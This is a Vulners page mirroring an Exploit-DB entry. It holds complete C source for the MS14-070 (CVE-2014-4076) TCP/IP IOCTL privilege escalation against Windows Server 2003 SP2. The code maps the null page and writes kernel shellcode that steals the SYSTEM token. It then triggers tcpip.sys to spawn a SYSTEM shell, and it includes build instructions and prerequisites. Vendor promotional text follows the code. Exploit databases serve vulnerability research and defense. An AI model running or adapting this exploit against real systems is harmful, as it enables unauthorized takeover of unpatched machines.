Lucene search
K

Microsoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)

🗓️ 12 Aug 2015 00:00:00Reported by Tomislav PaskalevType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 329 Views

Microsoft Windows Server 2003 SP2 TCP/IP IOCTL Privilege Escalation with potential arbitrary code execution and system privilege elevation through TCP device vulnerability

Related
Code
/*
################################################################
# Exploit Title: Windows 2k3 SP2 TCP/IP IOCTL Privilege Escalation (MS14-070)
# Date: 2015-08-10
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
#   Windows 2003 SP2 x86
#   Windows 2003 SP2 x86-64
#   Windows 2003 SP2 IA-64
# Supported vulnerable software:
#   Windows 2003 SP2 x86
# Tested on:
#   Windows 2003 SP2 x86 EN
# CVE ID:   2014-4076
# OSVDB-ID: 114532
################################################################
# Vulnerability description:
#   Windows TCP/IP stack (tcpip.sys, tcpip6.sys) fails to
#   properly handle objects in memory during IOCTL processing.
#   By crafting an input buffer that will be passed to the TCP
#   device through the DeviceIoControlFile() function, it is
#   possible to trigger a vulnerability that would allow an
#   attacker to elevate privileges.
#   An attacker who successfully exploited this vulnerability
#   could run arbitrary code in kernel mode (i.e. with SYSTEM
#   privileges).
################################################################
# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the existing shell
#       (i.e. exploit usable via a remote shell)
#       - upon exiting the SYSTEM shell, the parent process
#         will become unresponsive/hang
#   Exploit compiling:
#     - # i586-mingw32msvc-gcc MS14-070.c -o MS14-070.exe
#   Exploit prerequisites:
#     - low privilege access to the target (remote shell or RDP)
#     - target not patched (KB2989935 not installed)
################################################################
# Patch:
#   https://www.microsoft.com/en-us/download/details.aspx?id=44646
################################################################
# Thanks to:
#   KoreLogic (Python PoC)
#   ChiChou (C++ PoC)
################################################################
# References:
#   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4076
#   https://technet.microsoft.com/library/security/ms14-070
#   https://www.exploit-db.com/exploits/35936/
#   https://github.com/ChiChou/CVE-2014-4076/blob/master/CVE-2014-4076/CVE-2014-4076.cpp
#   https://www.osronline.com/article.cfm?article=229
################################################################
*/


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>




typedef enum _SYSTEM_INFORMATION_CLASS {
        SystemBasicInformation                = 0,
        SystemPerformanceInformation          = 2,
        SystemTimeOfDayInformation            = 3,
        SystemProcessInformation              = 5,
        SystemProcessorPerformanceInformation = 8,
        SystemInterruptInformation            = 23,
        SystemExceptionInformation            = 33,
        SystemRegistryQuotaInformation        = 37,
        SystemLookasideInformation            = 45
} SYSTEM_INFORMATION_CLASS;


typedef DWORD NTSTATUS;
NTSTATUS WINAPI NtQuerySystemInformation (
        SYSTEM_INFORMATION_CLASS   SystemInformationClass,
        PVOID                      SystemInformation,
        ULONG                      SystemInformationLength,
        PULONG                     ReturnLength
);


typedef struct _IO_STATUS_BLOCK {
        union {
                NTSTATUS           Status;
                PVOID              Pointer;
        };
        ULONG_PTR                  Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef void (WINAPI * PIO_APC_ROUTINE) (PVOID, PIO_STATUS_BLOCK, ULONG);


NTSTATUS (WINAPI *ZwAllocateVirtualMemory) (
        HANDLE                     ProcessHandle,
        PVOID                      *BaseAddress,
        ULONG_PTR                  ZeroBits,
        PSIZE_T                    RegionSize,
        ULONG                      AllocationType,
        ULONG                      Protect
);


NTSTATUS (WINAPI *ZwDeviceIoControlFile) (
        HANDLE                     FileHandle,
        PVOID                      ApcContext,
        PIO_STATUS_BLOCK           IoStatusBlock,
        ULONG                      IoControlCode,
        PVOID                      InputBuffer,
        ULONG                      InputBufferLength,
        PVOID                      OutputBuffer,
        ULONG                      OutputBufferLength
);




BOOL WINAPI CreateNewCmdProcess (STARTUPINFO *startupInformation, PROCESS_INFORMATION *processInformation)
{
        ZeroMemory (&startupInformation[0], sizeof (STARTUPINFO));
        startupInformation->cb = sizeof (STARTUPINFO);
        ZeroMemory (&processInformation[0], sizeof (PROCESS_INFORMATION));

        // Start the child process.
        return CreateProcess (
                NULL,                                                           // No module name (use command line)
                "c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32",   // Start cmd.exe
                NULL,                                                           // Process handle not inheritable
                NULL,                                                           // Thread handle not inheritable
                TRUE,                                                           // Set handle inheritance to TRUE
                0,                                                              // No creation flags
                NULL,                                                           // Use parent's environment block
                NULL,                                                           // Use parent's starting directory
                &startupInformation[0],                                         // Pointer to STARTUPINFO structure
                &processInformation[0]                                          // Pointer to PROCESS_INFORMATION structure
        );
}




unsigned long SwapBytes (unsigned long inputByteUL)
{
        return (((inputByteUL&0x000000FF) << 24) + ((inputByteUL&0x0000FF00) << 8) +
        ((inputByteUL&0x00FF0000) >> 8) + ((inputByteUL&0xFF000000) >> 24));
}




BOOL WriteToAllocMem (unsigned char *exploitBuffer, unsigned char *shellcode)
{
        int returnAllocMemValue1, returnAllocMemValue2, returnAllocMemValue3, returnAllocMemValue4, returnAllocMemValue5;

        returnAllocMemValue1 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x28,
                "\x87\xff\xff\x38",
                4,
                NULL
        );
        returnAllocMemValue2 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x38,
                "\x00\x00",
                2,
                NULL
        );
        returnAllocMemValue3 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x1100,
                &exploitBuffer[0],
                32,
                NULL
        );
        returnAllocMemValue4 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x2b,
                "\x00\x00",
                2,
                NULL
        );
        returnAllocMemValue5 = WriteProcessMemory (
                (HANDLE) 0xFFFFFFFF,
                (LPVOID) 0x2000,
                &shellcode[0],
                96,
                NULL
        );

        if (returnAllocMemValue1 == 0 ||
        returnAllocMemValue2 == 0 ||
        returnAllocMemValue3 == 0 ||
        returnAllocMemValue4 == 0 ||
        returnAllocMemValue5 == 0)
                return FALSE;
        else
                return TRUE;
}




int main (void)
{
        fprintf (stderr, "[*] MS14-070 (CVE-2014-4076) x86\n");
        fprintf (stderr, "    [*] by Tomislav Paskalev\n");
        fflush (stderr);


        ////////////////////////////////
        // CREATE NEW CME.EXE PROCESS
        ////////////////////////////////

        STARTUPINFO *startupInformation = (STARTUPINFO *) malloc (sizeof (STARTUPINFO));
        PROCESS_INFORMATION *processInformation = (PROCESS_INFORMATION *) malloc (sizeof (PROCESS_INFORMATION));

        if (!CreateNewCmdProcess (&startupInformation[0], &processInformation[0]))
        {
                fprintf (stderr, "[-] Creating a new process failed\n");
                fprintf (stderr, "    [*] Error code   : %d\n", GetLastError());
                fflush (stderr);
                ExitProcess (1);
        }

        fprintf (stderr, "[+] Created a new cmd.exe process\n");
        fflush (stderr);


        ////////////////////////////////
        // CONVERT PID TO HEX LE
        ////////////////////////////////

        unsigned long pidLittleEndian = SwapBytes ((unsigned long) processInformation->dwProcessId);
        fprintf (stderr, "    [*] PID [dec]    :   %#8lu\n", (unsigned long) processInformation->dwProcessId);
        fprintf (stderr, "    [*] PID [hex]    : %#010x\n", (unsigned long) processInformation->dwProcessId);
        fprintf (stderr, "    [*] PID [hex LE] : %#010x\n", pidLittleEndian);

        /*four bytes of hex = 8 characters, plus NULL terminator*/
        unsigned char pidLittleEndianString[9];

        sprintf (&pidLittleEndianString[0], "%04x", pidLittleEndian);


        ////////////////////////////////
        // CREATE SHELLCODE
        ////////////////////////////////

        unsigned char exploitBuffer[] =
        "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00"
        "\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00";
        unsigned char shellcode[] =
        "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00"
        "\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00"
        "\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41"
        "\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94"
        "\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11"
        "\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00";

        int counter;
        for (counter = 0; counter < 4; counter++)
        {
                char buffer[3] = {pidLittleEndianString[counter * 2], pidLittleEndianString[(counter * 2) + 1], 0};
                shellcode[46 + counter] = strtol (buffer, NULL, 16);
        }

        shellcode[77] = strtol ("39", NULL, 16);
        shellcode[78] = strtol ("ff", NULL, 16);
        shellcode[79] = strtol ("a2", NULL, 16);
        shellcode[80] = strtol ("ba", NULL, 16);

        shellcode[82] = strtol ("0", NULL, 16);
        shellcode[83] = strtol ("0", NULL, 16);
        shellcode[84] = strtol ("0", NULL, 16);
        shellcode[85] = strtol ("0", NULL, 16);

        fprintf (stderr, "[+] Modified shellcode\n");
        fflush (stderr);


        ////////////////////////////////
        // CREATE HANDLE ON TCPIP.SYS
        ////////////////////////////////

        HANDLE tcpIPDeviceHandle = CreateFileA (
                "\\\\.\\Tcp",
                0,
                0,
                NULL,
                OPEN_EXISTING,
                0,
                NULL
        );

        if (tcpIPDeviceHandle == INVALID_HANDLE_VALUE)
        {
                printf ("[-] Opening TCP/IP I/O dev failed\n");
                printf ("    [*] Error code   : %d\n", GetLastError());
                ExitProcess (1);
        }

        fprintf (stderr, "[+] Opened TCP/IP I/O device\n");
        fflush (stderr);


        ////////////////////////////////
        // ALLOCATE MEMORY - FIRST PAGE
        ////////////////////////////////

        FARPROC ZwAllocateVirtualMemory;

        ZwAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwAllocateVirtualMemory");

        fprintf (stderr, "[*] ntdll.dll address: 0x%p\n", ZwAllocateVirtualMemory);
        fflush (stderr);

        NTSTATUS AllocMemReturnCode;
        ULONG BaseAddress = 0x1000, RegionSize = 0x4000;

        AllocMemReturnCode = ZwAllocateVirtualMemory (
                (HANDLE) 0xFFFFFFFF,
                &BaseAddress,
                0,
                &RegionSize,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READWRITE
        );

        if (AllocMemReturnCode != 0)
        {
                printf ("[-] Allocating memory failed\n");
                printf ("    [*] Error code   : %#X\n", AllocMemReturnCode);
                ExitProcess (1);
        }

        fprintf (stderr, "[+] Allocated memory\n");
        fprintf (stderr, "    [*] BaseAddress  : 0x%p\n", BaseAddress);
        fprintf (stderr, "    [*] RegionSize   : %#010x\n", RegionSize);
        fflush (stderr);


        ////////////////////////////////
        // WRITE EXPLOIT TO PROCESS MEM
        ////////////////////////////////

        fprintf (stderr, "[*] Writing exploit...\n");
        fflush (stderr);

        if (!WriteToAllocMem (&exploitBuffer[0], &shellcode[0]))
        {
                fprintf (stderr, "    [-] Failed to write to memory\n");
                fprintf (stderr, "        [*] Err code : %d\n", GetLastError ());
                fflush (stderr);
                ExitProcess (1);
        }
        else
        {
                fprintf (stderr, "    [+] done\n");
                fflush (stderr);
        }


        ////////////////////////////////
        // SEND EXPLOIT TO TCPIP.SYS
        ////////////////////////////////

        fprintf (stderr, "[*] Spawning SYSTEM shell...\n");
        fprintf (stderr, "    [*] Parent proc hangs on exit\n");
        fflush (stderr);

        FARPROC ZwDeviceIoControlFile;
        NTSTATUS DevIoCtrlReturnCode;
        ULONG ioStatus = 8;

        ZwDeviceIoControlFile = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwDeviceIoControlFile");

        DevIoCtrlReturnCode = ZwDeviceIoControlFile (
                tcpIPDeviceHandle,
                NULL,
                NULL,
                NULL,
                (PIO_STATUS_BLOCK) &ioStatus,
                0x00120028,                                //Device: NETWORK (0x12)
                                                        //Function: 0xa
                                                        //Access: FILE_ANY_ACCESS
                                                        //Method: METHOD_BUFFERED
                (PVOID) 0x1100,                                //NULL,                //Test
                32,                                        //0,                //Test
                NULL,
                0
        );

        if (DevIoCtrlReturnCode != 0)
        {
                fprintf (stderr, "    [-] Exploit failed (->TCP/IP)\n");
                fprintf (stderr, "        [*] Err code : %d\n", GetLastError ());
                fflush (stderr);
                ExitProcess (1);
        }


        ////////////////////////////////
        // WAIT FOR CHILD PROCESS; EXIT
        ////////////////////////////////

        // Wait until child process exits.
        WaitForSingleObject (processInformation->hProcess, INFINITE);

        fprintf (stderr, "[*] Exiting SYSTEM shell...\n");
        fflush (stderr);

        // Close process and thread handles.
        CloseHandle (tcpIPDeviceHandle);
        CloseHandle (processInformation->hProcess);
        CloseHandle (processInformation->hThread);

        return 1;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation